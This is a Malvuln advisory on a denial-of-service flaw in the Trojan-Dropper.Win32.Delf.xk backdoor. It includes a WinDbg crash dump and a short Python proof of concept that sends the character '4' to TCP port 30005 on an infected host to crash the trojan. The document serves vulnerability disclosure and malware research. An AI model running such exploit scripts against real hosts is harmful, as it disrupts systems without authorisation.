Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/869c813722be90cf1b3708051103ce14.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Dropper.Win32.Delf.xk Vulnerability: Remote Invalid Pointer Write DOS Description: Win32.Delf.xk drops server.exe in AppData\Local\Temp dir and listens on TCP ports 30005,30006 and 30007. Netcat to port 30005 and input the number 9 it trys to create a file, number 2 for read file and 3 for opening a file but errors out. 9 create file 2 read file 3 open file Interestingly, sending a packet with a single character the number "4" to TCP port 30005 will trigger invalid pointer write and subsequent crash of the backdoor. Type: PE32 MD5: 869c813722be90cf1b3708051103ce14 Vuln ID: MVID-2021-0130 Dropped files: server.exe ASLR: False DEP: False Safe SEH: True Disclosure: 03/14/2021 Memory Dump: (418.1320): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000 eip=004577ab esp=000a1430 ebp=000a1451 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 *** WARNING: Unable to verify checksum for server.exe *** ERROR: Module load completed but symbols could not be loaded for server.exe server+0x577ab: 004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=?? 0:000> .ecxr eax=00000000 ebx=00000000 ecx=004577aa edx=77129d70 esi=00000000 edi=00000000 eip=004577ab esp=000a1430 ebp=000a1451 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 server+0x577ab: 004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl ds:002b:410cb402=?? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: server+577ab 004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004577ab (server+0x000577ab) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 410cb402 Attempt to write to address 410cb402 PROCESS_NAME: server.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 410cb402 WRITE_ADDRESS: 410cb402 FOLLOWUP_IP: server+577ab 004577ab 0089583cc740 add byte ptr [ecx+40C73C58h],cl MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001320 BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLE DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE IP_ON_HEAP: 3077129d The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 3077129d FRAME_ONE_INVALID: 1 LAST_CONTROL_TRANSFER: from 3077129d to 004577ab STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 000a1451 3077129d 34000a15 800019fd bc000a15 server+0x577ab 000a1455 34000a15 800019fd bc000a15 aa000a14 0x3077129d 000a1459 800019fd bc000a15 aa000a14 34004577 0x34000a15 000a145d bc000a15 aa000a14 34004577 300019fd 0x800019fd 000a1461 aa000a14 34004577 300019fd 00000a15 0xbc000a15 000a1465 34004577 300019fd 00000a15 53000000 0xaa000a14 000a1469 300019fd 00000a15 53000000 30771012 0x34004577 000a146d 00000000 53000000 30771012 34000a15 0x300019fd STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: server+577ab FOLLOWUP_NAME: MachineOwner MODULE_NAME: server IMAGE_NAME: server.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_server.exe!Unknown BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_server+577ab Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=30005 PAYLOAD ="4" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send(PAYLOAD) print("Trojan-Dropper.Win32.Delf.xk / Invalid Pointer Write DOS") print("MD5: 869c813722be90cf1b3708051103ce14") print("By Malvuln") s.close() if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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